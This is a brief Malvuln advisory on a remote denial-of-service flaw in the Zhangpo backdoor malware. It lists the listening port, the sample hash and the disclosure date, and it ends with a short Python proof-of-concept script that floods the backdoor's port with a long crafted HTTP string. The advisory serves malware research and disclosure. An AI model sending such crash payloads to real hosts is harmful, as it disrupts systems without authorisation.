Backdoor.Win32.Zhangpo malware suffers from a denial of service vulnerability.
b8337573f3d58f7b3a81f97267576f7dDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/052d18e119f9a2910ed18a137231a041.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Zhangpo
Vulnerability: Remote DoS
Description: Zhangpo listens on TCP port 9689, sending a special character as a long string HTTP payload will DoS the backdoor.
Type: PE32
MD5: 052d18e119f9a2910ed18a137231a041
Vuln ID: MVID-2021-0058
Disclosure: 01/28/2021
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=9689
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PaCOLA = "GET / HTTP/1.0 " +";ë"*10000
s.send(PaCOLA)
s.close()
print("Backdoor.Win32.Zhangpo / Remote DoS");
print("MD5: 052d18e119f9a2910ed18a137231a041");
print("By Malvuln");
if __name__=="__main__":
doit()
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